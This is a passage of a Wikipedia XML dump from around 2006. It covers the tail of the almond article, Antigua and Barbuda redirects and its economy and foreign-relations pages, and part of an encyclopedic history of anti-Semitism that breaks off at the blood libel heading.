The almond is highly revered in some cultures. Among the [[Hebrews]], it was a symbol of watchfulness and promise due to its early flowering, while the [[China|Chinese]] consider it a symbol of enduring sadness and female beauty. In India, consumption of almonds is considered to be good for the brain. Christian symbolism often uses almond branches as a symbol of the [[Virgin Birth]] of [[Jesus]]; paintings often include almonds encircling the [[Child Jesus|baby Jesus]] and as a symbol of [[Mary]]. In the [[Bible]] ([[Book of Numbers|Numbers]] 17) [[Aaron]] is chosen among the other tribes of Israel by a rod that brought forth almond flowers. Today, Jews still carry rods of almond blossom to the synagogues on great festival days. The fruit of the almond supplied a model for certain kinds of ornamental carved work ([[Book of Exodus|Exodus]] 25:33-34; 37:19-20).  In a similar legend, [[Pope Urban]] once declared that a man named [[Tannhäuser]] would not receive forgiveness until his wooden staff bloomed again. This occurred after three days, but Tannhauser could not be found. The nut of the tree has also been used as a preventative for [[ethanol|alcohol]] [[intoxication]]. Folklore claims that almonds are poisonous for [[fox]]es. The tree grows in [[Syria]] and [[Israel]], and is referred to in the [[Bible]] under the name of &quot;Shaked&quot;, meaning &quot;hasten&quot;. The word &quot;Luz&quot;, which occurs in [[Book of Genesis|Genisis]] 30:37, and which some translations have as &quot;hazel&quot;, is supposed to be another name for the almond. In Israel the tree flowers in January. The application of &quot;Shaked&quot; or &quot;hasten&quot; to the almond is similar to the use of the name &quot;May&quot; for the hawthorn, which usually flowers in that month in Britain.  

==Etymology==
The word 'almond' comes from the Old French ''almande'' or ''alemande'', late Latin ''amandola'', derived through a form ''amingdola'' from the Greek ''amugdale'', an almond; the al- for a- may be due to a confusion with the Arabic article ''al'', the word having first dropped the a- as in the Italian form ''mandorla''; the British pronunciation ''ar-mond'' and the modern French ''amande'' show the true form of the word. 

In parts of Northern California, where almonds are a main crop, the word is often pronounced with a unique regional accent. Rather than the usual American pronunciation of &quot;Ahl-mond&quot;, with the soft A and L, it is pronounced with a hard A and nearly silent H, as in &quot;Aah-men”. This method of pronunciation is particularly prevalent near the city of [[Chico, California|Chico]] in Butte County, but it is also heard in nearby Glenn, Colusa, and Tehama Counties.

==See also==
* [[Almond milk]], a milky drink made from ground almonds, similar to soy milk
* [[Almond Joy]], a [[candy bar]]
* [[Fruit trees]]
* [[Fruit tree forms]]
* [[Pruning fruit trees]]
* [[Fruit tree propagation]]
* [[List of edible seeds]]

==External links==
{{Commons|Prunus dulcis dulcis}}
* [http://www.almondboard.com/ The Almond Board of California]
* [http://almondboard.files.cms-plus.com/PDFs/CA%20Almond%20Facts%20Summer%202005.pdf The Almond Board of California - fact sheet]
* [http://www.almondsarein.com/ &quot;Almonds Are In&quot; Health and Nutrition site (The Almond Board of California]


[[Category:Rosaceae]]
[[Category:Nuts and seeds]]
[[Category:Pollination management]]

[[be:Мігдалы]]
[[ca:Ametller]]
[[co:Amandula]]
[[cy:Cneuen almon]]
[[da:Mandel]]
[[de:Mandel]]
[[es:Prunus dulcis]]
[[fr:Amandier]]
[[gl:Amendoeira]]
[[he:שקד מצוי]]
[[nl:Amandel]]
[[ja:アーモンド]]
[[pl:Migdałowiec zwyczajny]]
[[pt:Amendoeira]]
[[ru:Миндаль]]
[[sr:Бадем]]
[[fi:Manteli]]</text>
    </revision>
  </page>
  <page>
    <title>Antigua and Barbuda/Geography</title>
    <id>1068</id>
    <revision>
      <id>15899573</id>
      <timestamp>2002-08-03T16:27:16Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Geography of Antigua and Barbuda</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Antigua and Barbuda]]</text>
    </revision>
  </page>
  <page>
    <title>Antigua and Barbuda/People</title>
    <id>1069</id>
    <revision>
      <id>15899574</id>
      <timestamp>2002-08-20T16:08:50Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of Antigua and Barbuda]]</text>
    </revision>
  </page>
  <page>
    <title>Government of Antigua and Barbuda</title>
    <id>1070</id>
    <revision>
      <id>15899575</id>
      <timestamp>2002-08-04T11:40:30Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Politics of Antigua and Barbuda</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Antigua and Barbuda]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Antigua and Barbuda</title>
    <id>1071</id>
    <revision>
      <id>41530757</id>
      <timestamp>2006-02-27T23:48:58Z</timestamp>
      <contributor>
        <username>Gene.arboit</username>
        <id>278325</id>
      </contributor>
      <comment>fr:</comment>
      <text xml:space="preserve">{{CIA}}
'''[[Antigua and Barbuda]]'s [[economics|economy]]''' is service-based, with [[tourism]] and government services representing the key sources of employment and income. Tourism accounts directly or indirectly for more than half of [[gross domestic product|GDP]] and is also the principal earner of foreign exchange in Antigua and Barbuda. However, a series of violent [[hurricane]]s since 1995 resulted in serious damage to tourist [[infrastructure]] and periods of sharp reductions in visitor numbers. In 1999 the budding offshore financial sector was seriously hurt by financial sanctions imposed by the [[United States]] and [[United Kingdom]] as a result of the loosening of its money-laundering controls. The government has made efforts to comply with international demands in order to get the sanctions lifted. The dual island nation's agricultural production is mainly directed to the domestic market; the sector is constrained by the limited water supply and labor shortages that reflect the pull of higher wages in tourism and construction. Manufacturing comprises enclave-type assembly for export with major products being bedding, handicrafts, and electronic components. Prospects for economic growth in the medium term will continue to depend on income growth in the industrialized world, especially in the US, which accounts for about one-third of all tourist arrivals. Estimated overall economic growth for 2000 was 2.5%. Inflation has trended down going from above 2 percent in the 1995-99 period and estimated at 0 percent in 2000.

To lessen its vulnerability to natural disasters, Antigua has been diversifying its economy. Transportation, communications and financial services are becoming important.

Antigua is a member of the [[Eastern Caribbean Currency Union]] (ECCU). The [[Eastern Caribbean Central Bank]] (ECCB) issues a common currency (the [[East Caribbean Dollar]]) for all members of the ECCU. The ECCB also manages monetary policy, and regulates and supervises commercial banking activities in its member countries.

Antigua and Barbuda is a beneficiary of the U.S. [[Caribbean Basin Initiative]]. Its 1998 exports to the U.S. were valued at aboutUS $3 million and its U.S. imports totaled about US $84 million. It also belongs to the predominantly English-speaking [[Caribbean_Community|Caribbean Community (CARICOM]]).

'''GDP:'''
purchasing power parity - $524 million (1999 est.)

'''GDP - real growth rate:'''
2.8% (1999 est.)

'''GDP - per capita:'''
purchasing power parity - $8,200 (1999 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
4%
&lt;br&gt;''industry:''
12.5%
&lt;br&gt;''services:''
83.5% (1996 est.)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
1.6% (1999 est.)

'''Labor force:'''
30,000

'''Labor force - by occupation:'''
commerce and services 82%, agriculture 11%, industry 7% (1983)

'''Unemployment rate:'''
7% (1999 est.)

'''Budget:'''
&lt;br&gt;''revenues:''
$122.6 million
&lt;br&gt;''expenditures:''
$141.2 million, including capital expenditures of $17.3 million (1997 est.)

'''Industries:'''
tourism, construction, light manufacturing (clothing, [[alcoholic beverage|alcohol]], household appliances)

'''Industrial production growth rate:'''
6% (1997 est.)

'''Electricity - production:'''
90 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
100%
&lt;br&gt;''hydro:''
0%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
84 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
[[cotton]], [[fruit]]s, [[vegetable]]s, [[banana]]s, [[coconut]]s, [[cucumber]]s, [[mango]]es, [[sugarcane]]; livestock

'''Exports:'''
$38 million (1998)

'''Exports - commodities:'''
[[petroleum]] products 48%, manufactures 23%, food and live [[animal]]s 4%, machinery and transport equipment 17%

'''Exports - partners:'''
OECS 26%, [[Barbados]] 15%, [[Guyana]] 4%, [[Trinidad and Tobago]] 2%, [[United States|US]] 0.3%

'''Imports:'''
$330 million (1998)

'''Imports - commodities:'''
food and live [[animal]]s, machinery and transport equipment, manufactures, chemicals, [[Petroleum]]

'''Imports - partners:'''
[[United States|US]] 27%, [[United Kingdom|UK]] 16%, [[Canada]] 4%, OECS 3%

'''Debt - external:'''
$357 million (1998)

'''Economic aid - recipient:'''
$2.3 million (1995)

'''Currency:'''
1 East Caribbean dollar (EC$) = 100 cents

'''Exchange rates:'''
East Caribbean dollars (EC$) per US$1 - 2.7000 (fixed rate since 1976)

'''Fiscal year:'''
[[1 April]] - [[31 March]]

== References ==
* {{CIAfb}}{{-}}
* {{StateDept}}

{{WTO}}


[[Category:Economy of Antigua and Barbuda|*]]
[[Category:Economies by country|Antigua and Barbuda]]
[[Category:WTO members|Antigua and Barbuda]]

[[fr:Économie d'Antigua-et-Barbuda]]
[[he:כלכלת אנטיגואה וברבודה]]
[[pt:Economia da Antígua e Barbuda]]</text>
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    <title>Antigua and Barbuda/Communications</title>
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      <timestamp>2002-10-09T13:55:20Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Communications in Antigua and Barbuda]]</comment>
      <text xml:space="preserve">#REDIRECT [[Communications in Antigua and Barbuda]]</text>
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  </page>
  <page>
    <title>Antigua and Barbuda/Transportation</title>
    <id>1073</id>
    <revision>
      <id>36641445</id>
      <timestamp>2006-01-25T13:58:34Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Transport in Antigua and Barbuda&quot; +&quot;Transportation in Antigua and Barbuda&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Transportation in Antigua and Barbuda]]</text>
    </revision>
  </page>
  <page>
    <title>Antigua and Barbuda/Military</title>
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    <revision>
      <id>15899579</id>
      <timestamp>2004-12-27T12:03:59Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Royal Antigua and Barbuda Defence Force]]</text>
    </revision>
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    <title>Antigua and Barbuda/Transnational issues</title>
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      <contributor>
        <username>Magnus Manske</username>
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      <minor />
      <comment>#REDIRECT [[Foreign relations of Antigua and Barbuda]]</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Antigua and Barbuda]]</text>
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  <page>
    <title>Antigua and Barbuda/History</title>
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      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Antigua and Barbuda]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Antigua and Barbuda</title>
    <id>1077</id>
    <revision>
      <id>35300309</id>
      <timestamp>2006-01-15T19:26:40Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>+template</comment>
      <text xml:space="preserve">{{Politics of Antigua and Barbuda}}
[[Antigua and Barbuda]] maintains diplomatic relations with the [[United States]], [[Canada]] the [[United Kingdom]], and the [[People's Republic of China]], as well as with many Latin American countries and neighboring Eastern Caribbean states. It is a member of the [[United Nations]], the [[Commonwealth of Nations]], the [[Organization of American States]], the [[Organisation of Eastern Caribbean States]], and the Eastern Caribbean's [[Regional Security System]] (RSS).

As a member of [[CARICOM]], Antigua and Barbuda supported efforts by the United States to implement UN Security Council Resolution 940, designed to facilitate the departure of Haiti's de facto authorities from power. The country agreed to contribute personnel to the multinational force which restored the democratically elected government of Haiti in October 1994.

In May 1997, Prime Minister Bird joined 14 other Caribbean leaders and President Clinton for the first-ever U.S.-regional summit in Bridgetown, Barbados. The summit strengthened the basis for regional cooperation on justice and counter-narcotics issues, finance and development, and trade.

'''Disputes - international:'''
none

'''Illicit drugs:'''
considered a minor transshipment point for narcotics bound for the US and Europe; more significant as a drug-money-laundering center

==Reference==
''Much of the material in this article comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''
[[Category:Antigua and Barbuda]]
[[Category:Foreign relations by country|Antigua and Barbuda]]</text>
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  <page>
    <title>Anti-Semitism</title>
    <id>1078</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41984309</id>
      <timestamp>2006-03-03T01:15:08Z</timestamp>
      <contributor>
        <username>Goodoldpolonius2</username>
        <id>131285</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Huchimama|Huchimama]] ([[User talk:Huchimama|talk]]) to last version by 195.38.113.141</comment>
      <text xml:space="preserve">&lt;!-- NOTE. Please first read the section [[#Etymology and usage]] below if you intend to insert corrections --&gt;{{dablink|This article describes the development and history of traditional anti-Semitism.  A separate article exists on the more recent concept of the [[New anti-Semitism]].}}
[[Image:Der ewige jude.jpg|thumb|''[[Der ewige Jude|The Eternal Jew]]'': 1937 German poster. In his hands are &quot;Zuckerbrot und Peitsche&quot;, or &quot;cookies and knout&quot;, an allusion to a saying similar to that of &quot;carrot and stick&quot;.]]
'''Anti-Semitism''' (alternatively spelled '''antisemitism''') is hostility toward or [[prejudice]] against [[Jew]]s as a religious, ethnic, or racial group, which can range from individual [[hatred]] to institutionalized, violent [[persecution]]. The highly explicit [[Nuremberg laws|ideology]] of [[Adolf Hitler]]'s [[Nazism]] was the most extreme example of this phenomenon, leading to a [[genocide]] of the European Jewry. Anti-Semitism has historically taken different forms:
*[[Religion|Religious]] anti-Semitism, or [[anti-Judaism]]. Before the 19th century, most anti-Semitism was primarily religious in nature, based on [[Christian]] or [[Islam]]ic interactions with and interpretations of [[Judaism]]. Since Judaism was generally the largest [[minority]] religion in Christian [[Europe]] and much of the Islamic world, Jews were often the primary targets of religiously-motivated violence and persecution from Christian, and to a lesser degree, Islamic rulers. Unlike anti-Semitism in general, this form of prejudice is directed at the religion itself, and so generally does not affect those of Jewish [[kinship and descent|ancestry]] who have [[religious conversion|converted]] to another religion, although the case of [[Converso]]s in [[Spain]] was a notable exception. Laws banning Jewish religious practices may be rooted in religious anti-Semitism, as were the [[expulsion]]s of the Jews that happened throughout the [[Middle Ages]].
*[[Racism|Racial]] anti-Semitism. With its origins in the [[cultural anthropology|anthropological]] ideas of [[race]] that started during the [[Age of Enlightenment|Enlightenment]], racial anti-Semitism became the dominant form of anti-Semitism from the late 19th century through today.  Racial anti-Semitism replaced the hatred of Judaism as a religion with the idea that the Jews themselves were a racially distinct group, regardless of their religious practice, and that they were inferior or worthy of animosity. With the rise of racial anti-Semitism, [[conspiracy theories]] about Jewish plots in which Jews were somehow acting in concert to dominate the world became a popular form of anti-Semitic expression. 

Some analysts and Jewish groups believe that there is a distinctly new form of late 20th century anti-Semitism, often called [[new anti-Semitism]], which borrows language and concepts from [[anti-Zionism]], but which attacks Jews as a group, rather than [[Zionism]] as a movement. A second group of observers [[Anti-Zionism#Anti-Zionism dictionary definitions|controversially]] identify anti-Zionism itself with anti-Semitism, arguing that anti-Zionism, &quot;advocates denial of the right to self-determination of the Jewish people&quot; (Matas 2005, p. 31).
{{Jew}}
== Etymology and usage ==
[[Image:Bookcover-1880-Marr-German uber Juden.jpg|left|thumb|120px|Cover page of Marr's ''The Way to Victory of Germanicism over Judaism'', 1880 edition]]
The word ''antisemitic'' (''{{lang|de|antisemitisch}}'' in German) was probably first used in 1860 by the Jewish [[scholar]] [[Moritz Steinschneider]] in the [[phrase]] &quot;antisemitic prejudices&quot; ({{lang-de|&quot;antisemitische Vorurteile&quot;}}). Steinschneider used this phrase to characterize [[Ernest Renan]]'s ideas about how &quot;[[Semitic]] races&quot; were inferior to &quot;[[Aryan]] races.&quot; These pseudo-scientific theories had become quite widespread in Europe in the second half of the 19th century, especially as [[Prussia]]n nationalistic historian [[Heinrich von Treitschke]] did much to promote this form of racism. In Treitschke's writings ''Semitic'' was practically [[synonym|synonymous]] with ''Jewish''. 
German political agitator [[Wilhelm Marr]] coined the related [[German language|German]] word ''Antisemitismus'' in his book ''&quot;The Way to Victory of Germanicism over Judaism&quot;'' in 1879.  Marr used the phrase to mean ''Jew-hatred'' or ''Judenhass,'' and he used the new word ''antisemitism'' to make hatred of the Jews seem rational and sanctioned by scientific knowledge. Marr's book became very popular, and in the same year he founded the ''&quot;League of Anti-Semites&quot;'' (&quot;Antisemiten-Liga&quot;), the first [[Germany|German]] organization committed specifically to combatting the alleged threat to Germany posed by the Jews, and advocating their [[population transfer|forced removal]] from the country. 

So far as can be ascertained, the word was first widely printed in 1881, when Marr published ''&quot;Zwanglose Antisemitische Hefte,&quot;'' and [[Wilhelm Scherer]] used the term &quot;Antisemiten&quot; in the ''&quot;Neue Freie Presse&quot;'' of January. The related word ''[[semitism]]'' was coined around 1885. See also the coinage of the term &quot;[[Definitions of Palestine and Palestinian#Referring to Jews in a national rather than religious sense|Palestinian]]&quot; by Germans to refer to the nation or people known as [[Jew]]s, as distinct from the religion of [[Judaism]]. 

Despite the use of the prefix &quot;anti,&quot; the terms ''Semitic'' and ''Anti-Semitic'' are not [[antonym]]s. To avoid the confusion of the [[misnomer]], many scholars on the subject (such as [[Emil Fackenheim]] of the [[Hebrew University]]) now favor the unhyphenated term ''antisemitism''. [[Yehuda Bauer]] articulated this view in his writings and lectures: (the term) &quot;Antisemitism, especially in its [[hyphen]]ated spelling, is inane nonsense, because there is no [[Semitism]] that you can be [[anti]] to.&quot; [http://humwww.ucsc.edu/jewishstudies/docs/YBauerLecture.pdf], also in his ''A History of the Holocaust'', p.52) 

The term ''anti-Semitism'' has historically referred to prejudice towards [[Jew]]s alone, and this was the only use of this word for more than a century. It does not traditionally refer to prejudice toward other people who speak [[Semitic language]]s (e.g. [[Arab]]s or [[Syriacs]]). [[Bernard Lewis]], Professor of Near Eastern Studies Emeritus at Princeton University, says that &quot;Anti-Semitism has never anywhere been concerned with anyone but Jews.&quot;[http://middleeastinfo.org/library/lewis_antisemitism.html] 

In recent decades some groups have argued that the term should be extended to include prejudice against Arabs, [[Anti-Arabism]], in the context of accusations of Arab anti-Semitism; further, some, including the [[Islamic Association of Palestine]], have argued that this implies that Arabs can not, ''by definition'', be anti-Semitic, despite the acknowledged high level of [[Arab anti-Semitism]]. The argument for such extension comes out of the claim that since the [[Semitic]] [[language family]] includes Arabic, Hebrew and Aramaic languages, and the historical term &quot;Semite&quot; refers to all those who consider themselves descendants of the Biblical [[Shem]], anti-Semitism should be likewise inclusive. This usage is not generally accepted.

=== Definitions of the term  ===
[[Image:Antisemiticroths.jpg|thumb|left|Anti-semitic caricature (France, 1898)]]

Though the general definition of anti-Semitism is hostility or prejudice towards [[Jew]]s, a number of authorities have developed more formal definitions. [[The Holocaust|Holocaust]] scholar and [[City University of New York]] professor Helen Fein's definition has been particularly influential. She defines anti-Semitism as &quot;a persisting latent structure of hostile beliefs towards Jews as a collective manifested in individuals as attitudes, and in culture as myth, ideology, folklore and imagery, and in actions – social or legal discrimination, political mobilisation against the Jews, and collective or state violence – which results in and/or is designed to distance, displace, or destroy Jews as Jews.&quot;

Professor Dietz Bering of the [[University of Cologne]] further expanded on Professor Fein's definition by describing the structure of anti-Semitic beliefs. To anti-Semites: &quot;Jews are not only partially but totally bad by nature, that is, their bad traits are incorrigible. Because of this bad nature: (1) Jews have to be seen not as individuals but as a collective. (2) Jews remain essentially alien in the surrounding societies. (3) Jews bring disaster on their 'host societies' or on the whole world, they are doing it secretly, therefore the anti-Semites feel obliged to unmask the conspiratorial, bad Jewish character.&quot;

There have been a number of efforts by international and governmental bodies to formally define anti-Semitism.  The United States Department of State defines anti-Semitism in its 2005 Report on Global Anti-Semitism as &quot;hatred toward Jews—individually and as a group—that can be attributed to the Jewish religion and/or ethnicity.&quot;

In 2005, the [[European Monitoring Centre on Racism and Xenophobia]] (EUMC), a body of the [[European Union]], developed a more detailed working definition: &quot;Antisemitism is a certain perception of Jews, which may be expressed as hatred toward Jews. Rhetorical and physical manifestations of antisemitism are directed toward Jewish or non-Jewish individuals and/or their property, toward Jewish community institutions and religious facilities. In addition, such manifestations could also target the state of Israel, conceived as a Jewish collectivity. Antisemitism frequently charges Jews with conspiring to harm humanity, and it is often used to blame Jews for 'why things go wrong'.&quot; 

The EUMC then listed &quot;contemporary examples of anti-Semitism in public life, the media, schools, the workplace, and in the religious sphere.&quot;  These included: Making mendacious, dehumanizing, demonizing, or stereotypical allegations about Jews; accusing Jews as a people of being responsible for real or imagined wrongdoing committed by a single Jewish person or group; denying the Holocaust; and accusing Jewish citizens of being more loyal to Israel, or to the alleged priorities of Jews worldwide, than to the interests of their own nations. The EUMC also discussed ways in which attacking Israel could be anti-Semitic, depending on the context (see [[#Anti-Semitism and anti-Zionism|anti-Zionism]] below). [http://eumc.eu.int/eumc/material/pub/AS/AS-WorkingDefinition-draft.pdf]

==Earliest Antisemitism==
The earliest occurrence of antisemitism has been the subject of debate among scholars.  Professor Peter Schafer of the Freie University of Berlin has argued that antisemitism was first spread by &quot;the Greek retelling of ancient Egyptian prejudices&quot;.  In view of the anti-Jewish writings of the Egyptian priest Manetho, Schafer suggests that anti-Semitism may have emerged &quot;in Egypt alone&quot;.  The hostility commonly faced by Jews in the Diaspora has been extensively described by John M. G. Barclay of the University of Durham.  The ancient Jewish philosopher [[Philo of Alexandria]] described an attack on Jews in Alexandria in 38 CE in ''Flaccus'', in which thousands of Jews died.  In the analysis of Pieter W. Van Der Horst, the cause of the violence in Alexandria was that Jews had been portrayed as misanthropes.  Gideon Bohak has argued that early animosity against Jews was not anti-Judaism unless it arose from attitudes held against Jews alone.  Using this stricter definition, Bohak says that many Greeks had animosity toward any group they regarded as barbarians.  The 150 BCE suppression of Jewish religious practice by use of deadly force against civilians, as recounted in [[1 Maccabees]], then qualifies as anti-Judaism in a broader sense of the term than is used by Bohak.  There are other examples of [[History of anti-Semitism#Ancient animosity towards Jews|ancient animosity towards Jews]] that are not considered by all to fall within the definition of anti-semitism.

==Religious Antisemitism==
{{main|Christianity and anti-Semitism}}

===Anti-Judaism in the New Testament===
The New Testament is a collection of 'books' written by various authors.  Most of this collection was written by the end of the first century.  The majority of the New Testament was written by Jews who became followers of Jesus, and all but two books (Luke and Acts) are traditionally attributed to such Jewish followers.  Nevertheless, there are a number of passages in the New Testament that some see as anti-Semitic, or have been used for anti-Semitic purposes, most notably:

:Jesus speaking to a group of [[Pharisees]]: &quot;''I know that you are descendants of Abraham; yet you seek to kill me, because my word finds no place in you. I speak of what I have seen with my Father, and you do what you have heard from your father.  They answered him, &quot;Abraham is our father.&quot; Jesus said to them, &quot;If you were Abraham's children, you would do what Abraham did. ... You are of your father the devil, and your will is to do your father's desires. He was a murderer from the beginning, and has nothing to do with the truth, because there is no truth in him. When he lies, he speaks according to his own nature, for he is a liar and the father of lies. But, because I tell the truth, you do not believe me. Which of you convicts me of sin? If I tell the truth, why do you not believe me? He who is of God hears the words of God; the reason why you do not hear them is you are not of God.''&quot; ([[Book of John|John]] 8:37-39, 44-47, [[Revised Standard Version|RSV]]) 

:[[Saint Stephen|Stephen]] speaking before a synagogue council just before his execution: &quot;''You stiff-necked people, uncircumcised in heart and ears, you always resist the Holy Spirit. As your fathers did, so do you. Which of the prophets did not your fathers persecute? And they killed those who announced beforehand the coming of the Righteous One, whom you have now betrayed and murdered, you who received the law as delivered by angels and did not keep it.''&quot; ([[Book of Acts|Acts]] 7:51-53, RSV)

:&quot;''Behold, I will make those of the synagogue of Satan who say that they are Jews and are not, but lie -- behold, I will make them come and bow down before your feet, and learn that I have loved you.''&quot; ([[Revelation]] 3:9, RSV).

Some biblical scholars point out that Jesus and Stephen are presented as Jews speaking to other Jews, and that their use of broad accusation against Israel is borrowed from Moses and the later Jewish prophets (e.g. Deut 9:13-14; 31:27-29; 32:5, 20-21; 2 Kings 17:13-14; Is 1:4; Hos 1:9; 10:9).  Jesus once calls his own disciple Peter 'Satan' (Mk 8:33). Other scholars hold that verses like these reflect the Jewish-Christian tensions that were emerging in the late first or early second century, and do not originate with Jesus. Today, nearly all Christian denominations de-emphasize verses such as these, and reject their use and misuse by anti-Semites.  

Drawing from the Jewish prophet Jeremiah (Jer 31:31-34), the [[New Testament]] taught that with the death of Jesus a [[new covenant]] was established which rendered obsolete and in many respects superseded the first covenant established by Moses (Heb 8:7-13; Lk 22:20).  Observance of the earlier covenant traditionally characterizes [[Judaism]].  This New Testament teaching, and later variations to it, are part of what is called [[supersessionism]].  However, the early Jewish followers of Jesus continued to practice circumcision and observe dietary laws, which is why the failure to observe these laws by the first Gentile Christians became a matter of controversy and dispute some years after Jesus' death (Acts 11:3; 15:1ff; 16:3).

The New Testament holds that Jesus' (Jewish) disciple Judas Iscariot (Mk 14:43-46), the Roman Governor Pontius Pilate along with Roman forces (Jn 19:11; Acts 4:27) and Jewish leaders and people of Jerusalem were (to varying degrees) responsible for the death of Jesus (Acts 13:27); Diaspora Jews are not blamed for events which were clearly outside their control.

After Jesus' death, the New Testament portrays the Jewish religious authorities in Jerusalem as hostile to Jesus' followers, and as occasionally using force against them.  Stephen is executed by stoning (Acts 7:58).  Before his conversion, Saul puts followers of Jesus in prison (Acts 8:3; Gal 1:13-14; 1 Tim 1:13).  After his conversion, Saul is whipped at various times by Jewish authorities (2 Cor 11:24), and is accused by Jewish authorities before Roman courts (e.g., Acts 25:6-7).  However, opposition from Gentiles is also cited repeatedly (2 Cor 11:26; Acts 16:19ff; 19:23ff).  More generally, there are widespread references in the New Testament to suffering experienced by Jesus' followers at the hands of others (Rom 8:35;1 Cor 4:11ff; Gal 3:4; 2 Thess 1:5; Heb 10:32; 1 Pet 4:16; Rev 20:4).

===Early Christianity===
A number of early and influential Church works -- such as the dialogues of [[Justin Martyr]], the homilies of [[John Chrysostom]], and the testimonies of church father [[Cyprian]] -- are strongly anti-Jewish.

During a discussion on the celebration of [[Easter]] during the [[First Council of Nicaea]] in AD 325, Roman emperor [[Constantine I (emperor)|Constantine]] [http://www.newadvent.org/fathers/25023.htm said] &lt;blockquote&gt; ...it appeared an unworthy thing that in the celebration of this most holy feast we should follow the practice of the Jews, who have impiously defiled their hands with enormous sin, and are, therefore, deservedly afflicted with blindness of soul. (...) Let us then have nothing in common with the detestable Jewish crowd; for we have received from our Saviour a different way.&lt;/blockquote&gt;

Prejudice against Jews in the [[Roman Empire]] was formalized in 438, when the ''Code of [[Theodosius II]]'' established Roman Catholic Christianity as the only legal religion in the Roman Empire.  The [[Justinian Code]] a century later stripped Jews of many of their rights, and Church councils throughout the sixth and seventh century, including the Council of Orleans, further enforced anti-Jewish provisions.  These restrictions began as early as 305, when, in Elvira, (now [[Granada]]), a Spanish town in [[Andalusia]], the first known laws of any church council against Jews appeared. Christian women were forbidden to marry Jews unless the Jew first converted to Catholicism. Jews were forbidden to extend hospitality to Catholics. Jews could not keep Catholic Christian [[concubine]]s and were forbidden to bless the fields of Catholics. In 589, in Catholic Spain, the Third Council of Toledo ordered that children born of marriage between Jews and Catholic be baptized by force. By the Twelfth Council of Toledo (681) a policy of forced conversion of all Jews was initiated (Liber Judicum, II.2 as given in Roth). Thousands fled, and thousands of others converted to Roman Catholicism.

=== Anti-Semitism in the Middle Ages ===
[[Image:Talmudtrial.jpg|thumb|250px|1239. In the course of a [[disputation]], [[Pope Gregory IX]] ordered the [[Talmud]] burned (note a non-[[heretic]]al book floating above the fire). A 15th century painting by [[Pedro Berruguete]].]]

In the [[Middle Ages]] a main justification of prejudice against Jews in Europe was religious. Though not part of [[Catholic]] [[dogma]], many Christians, including members of the clergy, have held the Jewish people collectively responsible for killing Jesus (see [[Deicide]]), a practice originated by [[Melito of Sardis]]. As stated in the Boston College Guide to Passion Plays, &quot;Over the course of time, Christians began to accept... that the Jewish people as a whole were responsible for killing Jesus. According to this interpretation, both the Jews present at Jesus’ death and the Jewish people collectively and for all time, have committed the sin of deicide, or God-killing. For 1900 years of Christian-Jewish history, the charge of deicide has led to hatred, violence against and murder of Jews in Europe and America.&quot;[http://moses.creighton.edu/JRS/pdf/ViewersGuide.pdf] This accusation was repudiated in 1964, when the Catholic Church under [[Pope Paul VI]] issued the document [[Nostra Aetate]] as a part of [[Vatican II]].  

As the [[Black Death]] [[epidemics]] devastated Europe in the mid-14th century, rumors spread that Jews caused it by deliberately [[well poisoning|poisoning wells]]. Hundreds of Jewish communities were destroyed by violence. 
&quot;Never mind that Jews were not immune from the ravages of the [[bubonic plague|plague]]; they were tortured until they &quot;confessed&quot; to crimes that they could not possibly have committed. In one such case, a man named Agimet was ... coerced to say that Rabbi Peyret of Chambery (near [[Geneva]]) had ordered him to poison the wells in [[Venice]], [[Toulouse]], and elsewhere. In the aftermath of Agimet’s &quot;confession,&quot; the Jews of [[Strasbourg]] were burned alive on February 14, 1349. (Source: ''Jews: The Essence and Character of a People'' by Arthur Hertzberg and Aron Hirt-Manheimer, p.84)

Among socio-economic factors were restrictions by the authorities, local rulers and frequently church officials who closed many professions to the Jews, pushing them into marginal occupations considered socially inferior, such as local tax and rent collecting or moneylending, a necessary evil due to the increasing population and urbanization during the High Middle Ages. Catholic doctrine of the time held that moneylending for interest was a [[sin]], and as such Jews tended to dominate this business. This provided support for claims that Jews are insolent, greedy, engaged in [[usury]], and in itself contributed to a negative image. Natural tensions between creditors (typically Jews) and debtors (typically Christians) were added to social, political, religious and economic strains. Peasants who were forced to pay their taxes to  Jews could personify them as the people taking their earnings while remaining loyal to the lords on whose behalf the Jews worked. 

==== The demonizing of the Jews ====
From around the 12th century through the [[19th century|19th]] there were Christians who believed that some (or all) Jews possessed magical powers; some believed that they had gained these magical powers from making a deal with the [[devil]]. See also [[Judensau]], [[Judeophobia]].

==== Blood libels ====
''Main articles: [[blood libel]], [[list of blood libels against Jews]]''

